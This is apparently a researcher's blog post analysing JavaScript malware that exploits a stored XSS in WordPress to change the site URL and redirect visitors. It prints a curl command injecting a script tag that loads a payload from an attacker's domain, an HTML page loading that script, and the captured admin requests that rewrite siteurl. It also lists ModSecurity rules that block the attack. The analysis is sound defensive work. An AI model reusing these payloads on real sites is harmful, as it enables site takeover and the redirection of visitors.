JavaScript Malware Targeting WordPress

Infosec researcher Andrea Menin returns with a technical breakdown of Javascript malware targeting Wordpress installs.

JavaScript Malware Targeting WordPress

A few days ago my web application firewall received a request that OWASP ModSecurity Core Rule Set 3 identified as a Cross-Site Scripting attack. It turns out that it tries to exploit a stored XSS to use an authenticated admin session and change the WordPress "siteurl" parameter in /wp-admin/options.php.

The malware is able to replace the default WordPress landing URL with a malicious website address. When a user browses to the infected website, they will be redirected to the malicious URL instead and in the User-Agent request header, there was the following HTML injection:

log details on Kibana

The log above shows a simple XSS exploit attempt that tries to inject an HTML script tag in two request headers: User-Agent and X-Forwarded-For. We can reproduce it by using curl:

curl -v \
   -H 'User-Agent: "><script type=text/javascript src="https://js.balantfromsun.com/black.js?&tp=3"></script>' \
   'http://wordpress'

Googling around it should be related to a vulnerabilities like the one affected WordPress WordFence Plugin (version <= 3.8.6) which is prone to lib/IPTraf.php User-Agent header stored XSS vulnerability. More details at wpvulndb.

JavaScript Code Analysis

Downloading the script URL https://js.balantfromsun.com/black.js?&tp=3 it has the following obfuscated JavaScript content:

https://gist.github.com/theMiddleBlue/9f1d2e79d8cf90c0a6a260bfa48d3f16

Instead to try to deobfuscate the whole JavaScript code, I've executed it inside a chrome "sandbox". This has been possible thanks to Puppeteer.

Puppeteer is a Node library which provides a high-level API to control Chrome or Chromium over the DevTools Protocol. Puppeteer runs headless by default, but can be configured to run full (non-headless) Chrome or Chromium.

But first I need a fresh and local WordPress environment!

Docker make me a sandwich!

Just create a docker-compose.yml file and bring up mysql and wordpress with something like this:

version: '3.1'

services:
  wordpress:
    image: wordpress
    restart: always
    ports:
      - 8080:80
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: exampleuser
      WORDPRESS_DB_PASSWORD: examplepass
      WORDPRESS_DB_NAME: exampledb
    volumes:
      - wordpress:/var/www/html
  db:
    image: mysql:5.7
    restart: always
    environment:
      MYSQL_DATABASE: exampledb
      MYSQL_USER: exampleuser
      MYSQL_PASSWORD: examplepass
      MYSQL_RANDOM_ROOT_PASSWORD: '1'
    volumes:
      - db:/var/lib/mysql

Now create an HTML file to inject the malicious JavaScript file. For example you can put it in wordpress/test.html:

<html>
<body>
	<script src="https://js.balantfromsun.com/black.js?&tp=3"></script>
</body>
</html>

I know, it's ugly and dirty but it works. Now just run docker-compose up -d and install your new WordPress.

Puppeteer

I've created a nodejs script to run chrome via the puppeteer lib, and make it able to executes the malicious JavaScript inside his sandbox. Moreover, the script will print to the stdout all HTTP requests that chrome will execute during the malware activities:

const puppeteer = require('puppeteer');

puppeteer.launch({headless: false}).then(async browser => {
  const page = await browser.newPage();
  await page.setRequestInterception(true);

  page.on('request', interceptedRequest => {
    if (interceptedRequest.url().endsWith('.png') || interceptedRequest.url().endsWith('.jpg'))
      interceptedRequest.abort();
    else

		console.log(
		"---\n"+
		"URL: "+interceptedRequest.url()+"\n"+
		"Method: "+interceptedRequest.method()+"\n"+
		"Headers: "+JSON.stringify(interceptedRequest.headers())+"\n"+
		"Post Data: "+interceptedRequest.postData()+"\n"+
		"---\n");
        interceptedRequest.continue();

  });
  await page.goto('http://wordpress');
});

As you can see, the script doesn't launch chrome headless. This because I just want to print out all HTTP requests that chrome do, and this means that I need to authenticate first on /wp-login.php and then trigger the malicious JavaScript code going to /test.html

All can be done just by opening the chrome console and see what happen on network tab... but I preferred a script to have an easy way to log all requests in a text plain format that I can save to a text file. For doing it I've used page.on('request', interceptedRequest) that makes you able to get all information about any HTTP request Chrome do. Inside the interceptedRequest object, you'll find a lot of information related to each HTTP request.

The script above prints in the stdout the URL, the HTTP method, a JSON stringify version of the headers object, and the request body (if any).

Results

The malicious JavaScript above uses an authenticated session on the infected WordPress website to execute the following HTTP requests:

1st request: get info from /wp-admin/options-general.php

GET /wp-admin/options-general.php HTTP/1.1
host: wordpress
referer: http://wordpress/test.php
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3882.0 Safari/537.36

2nd request: update WordPress options on /wp-admin/options.php

POST /wp-admin/options.php HTTP/1.1
host: wordpress
referer: http://wordpress/test.php
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3882.0 Safari/537.36
content-type: application/x-www-form-urlencoded

_wpnonce=...&_wp_http_referer=...&option_page=general&siteurl=https://todo.balantfromsun.com/landing_page&action=update&home=https://todo.balantfromsun.com/landing_page

As you can see, the second request change siteurl and home parameters to https://todo.balantfromsun.com/landing_page URL. The effect of this change is that all website visitors will be redirected to  https://todo.balantfromsun.com/landing_page

Chrome puppeteer test

OWASP ModSecurity Core Rule Set 3

If you have ModSecurity and CRS3 enabled on your webserver, this kind of XSS attacks will be blocked at Paranoia Level 1 (the default configuration) by 3 different rules:

  • 941100 XSS Attack Detected via libinjection
  • 941110 XSS Filter - Category 1: Script Tag Vector
  • 941160 NoScript XSS InjectionChecker: HTML Injection

If you liked this post, please share and follow me!

The awesome GIF used in this article is called Iron Giant Running and was created by Louis G Simon.